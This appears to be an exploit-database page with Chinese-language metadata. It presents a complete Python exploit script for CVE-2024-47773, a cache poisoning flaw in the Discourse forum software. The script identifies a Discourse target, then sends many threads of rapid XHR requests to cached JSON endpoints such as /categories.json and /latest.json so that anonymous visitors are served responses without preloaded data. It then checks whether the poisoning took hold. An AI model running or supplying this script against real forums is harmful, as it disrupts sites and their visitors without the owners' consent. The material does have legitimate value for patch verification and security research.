Exploit for Discourse 3.2.x - Anonymous Cache Poisoning CVE-2024-47773
漏洞信息
- 日期: 2024-10-15
- 漏洞作者: ibrahimsql
- GitHub: github.com/ibrahmsql
- 供应商主页: discourse.org
- 软件链接: github.com/discourse/d…
- 影响版本: Discourse < latest (已修复版本)
- 测试版本: Discourse 3.1.x, 3.2.x
- CVE编号: CVE-2024-47773
- CVSS评分: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
漏洞描述
Discourse匿名缓存投毒漏洞允许攻击者通过多个XHR请求使用不包含预加载数据的响应来污染缓存。此漏洞仅影响站点的匿名访问者。
参考链接
利用代码
#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
Github: : https://github.com/ibrahmsql
Vendor Homepage: https://discourse.org
Software Link: https://github.com/discourse/discourse
Version: Discourse < latest (patched)
Tested on: Discourse 3.1.x, 3.2.x
CVE: CVE-2024-47773
CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
Description:
Discourse anonymous cache poisoning vulnerability allows attackers to poison
the cache with responses without preloaded data through multiple XHR requests.
This affects only anonymous visitors of the site.
Reference:
https://nvd.nist.gov/vuln/detail/CVE-2024-47773
"""
import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin
class DiscourseCachePoisoning:
def __init__(self, target_url, threads=10, timeout=10):
self.target_url = target_url.rstrip('/')
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
self.poisoned = False
def check_target(self):
"""检查目标是否可访问且运行Discourse"""
try:
response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
if response.status_code == 200:
if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
return True
except Exception as e:
print(f"[-] Error checking target: {e}")
return False
def check_anonymous_cache(self):
"""检查匿名缓存是否启用"""
try:
# 测试应该为匿名用户缓存的端点
response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
# 检查缓存头
cache_headers = ['cache-control', 'etag', 'last-modified']
has_cache = any(header in response.headers for header in cache_headers)
if has_cache:
print("[+] Anonymous cache appears to be enabled")
return True
else:
print("[-] Anonymous cache may be disabled")
return False
except Exception as e:
print(f"[-] Error checking cache: {e}")
return False
def poison_cache_worker(self, endpoint):
"""缓存投毒尝试的工作函数"""
try:
# 创建无cookie的会话来模拟匿名用户
anon_session = requests.Session()
anon_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
# 发起快速请求以污染缓存
for i in range(50):
response = anon_session.get(
f"{self.target_url}{endpoint}",
timeout=self.timeout
)
# 检查响应是否缺少预加载数据
if response.status_code == 200:
try:
data = response.json()
# 检查缺少预加载数据的指标
if self.is_poisoned_response(data):
print(f"[+] Cache poisoning successful on {endpoint}")
self.poisoned = True
return True
except:
pass
time.sleep(0.1)
except Exception as e:
pass
return False
def is_poisoned_response(self, data):
"""检查响应是否表明缓存投毒成功"""
# 查找缺少预加载数据的指标
indicators = [
# 缺失或空的预加载数据
not data.get('preloaded', True),
data.get('preloaded') == {},
# 缺失预期字段
'categories' in data and not data['categories'],
'topics' in data and not data['topics'],
# 错误指标
data.get('error') is not None,
data.get('errors') is not None
]
return any(indicators)
def test_cache_poisoning(self):
"""在多个端点上测试缓存投毒"""
print("[*] Testing cache poisoning vulnerability...")
# 目标端点,通常会被缓存
endpoints = [
'/categories.json',
'/latest.json',
'/top.json',
'/c/general.json',
'/site.json',
'/site/basic-info.json'
]
threads = []
for endpoint in endpoints:
print(f"[*] Testing endpoint: {endpoint}")
# 创建多个线程来污染缓存
for i in range(self.threads):
thread = threading.Thread(
target=self.poison_cache_worker,
args=(endpoint,)
)
threads.append(thread)
thread.start()
# 等待线程完成
for thread in threads:
thread.join(timeout=5)
if self.poisoned:
break
time.sleep(1)
return self.poisoned
def verify_poisoning(self):
"""验证缓存投毒是否成功"""
print("[*] Verifying cache poisoning...")
# 使用新的匿名会话进行测试
verify_session = requests.Session()
verify_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
try:
response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
if self.is_poisoned_response(data):
print("[+] Cache poisoning verified - anonymous users affected")
return True
else:
print("[-] Cache poisoning not verified")
except:
print("[-] Unable to parse response")
else:
print(f"[-] Unexpected response code: {response.status_code}")
except Exception as e:
print(f"[-] Error verifying poisoning: {e}")
return False
def exploit(self):
"""主利用函数"""
print(f"[*] Testing Discourse Cache Poisoning (CVE-2024-47773)")
print(f"[*] Target: {self.target_url}")
if not self.check_target():
print("[-] Target is not accessible or not running Discourse")
return False
print("[+] Target confirmed as Discourse instance")
if not self.check_anonymous_cache():
print("[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)")
print("[*] Continuing with exploit attempt...")
success = self.test_cache_poisoning()
if success:
print("[+] Cache poisoning attack successful!")
self.verify_poisoning()
print("\n[!] Impact: Anonymous visitors may receive responses without preloaded data")
print("[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE")
return True
else:
print("[-] Cache poisoning attack failed")
print("[*] Target may be patched or cache disabled")
return False
def main():
parser = argparse.ArgumentParser(description='Discourse Anonymous Cache Poisoning (CVE-2024-47773)')
parser.add_argument('-u', '--url', required=True, help='Target Discourse URL')
parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
args = parser.parse_args()
exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)
try:
success = exploit.exploit()
sys.exit(0 if success else 1)
except KeyboardInterrupt:
print("\n[-] Exploit interrupted by user")
sys.exit(1)
except Exception as e:
print(f"[-] Exploit failed: {e}")
sys.exit(1)
if __name__ == '__main__':
main()